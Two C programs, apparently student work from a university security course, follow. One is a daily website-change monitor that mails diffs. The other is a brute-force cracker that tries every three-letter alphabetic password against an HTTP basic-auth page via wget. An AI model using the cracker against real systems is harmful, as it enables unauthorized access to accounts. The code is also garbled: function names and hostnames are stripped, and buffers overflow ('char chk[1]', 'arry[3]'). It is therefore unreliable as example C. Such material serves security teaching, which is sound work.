#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define TRUE 0
()
{
FILE *fp;
system("rmdir ./www.cs.rmit.edu.");
char chk[1];
strcpy(chk,"n");
  while(1)
  {
       
   	system("wget -p http://www.cs.rmit.edu./students/");
		
		system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./text1.txt");
		
		
		if (strcmp(chk,"n")==0)		
		{		
		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");
		system("mkdir ./");
		
		system("mv ./www.cs.rmit.edu./students/index.html ./");
		}
		else
		{
		
		
		system(" diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. ");
		system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt | mail @cs.rmit.edu. ");
		system("mv ./www.cs.rmit.edu./students/index.html ./");
		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");				
		}
		sleep(86400);
		strcpy(chk,"y");
		
	}
}		    	      
      
      



#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9 

int (){
   int i=65,j=65,k=65,count=0,res=1;
   char arry[3],send[100];
   int startTime, stopTime, final;
   startTime = time();
   for(i;i<123;i++){
      if(i<91 || i>96){
         arry[0]=i;
	 j=65;
	 for(j;j<123;j++){
	    if(j<91 || j>96){
	       arry[1]=j;
	       k=65;
	       for(k;k<123;k++){
		  if(k<91 || k>96){
		     arry[2]=k;
		     arry[3]='\0';
		     strcpy(send,"wget --http-user= --http-passwd=");
		     strcat(send,arry);
		     strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
		     count++;
	             if((res=(system(send)) == 0)) {
		        stopTime = time();
			final = stopTime-startTime;
			printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",arry,(double)final/OneBillion,count);
			exit(1);
		     }
		  }
	       }
            }
         }
      }
   }
   printf("\npassword not found\n");
   exit(1);
}
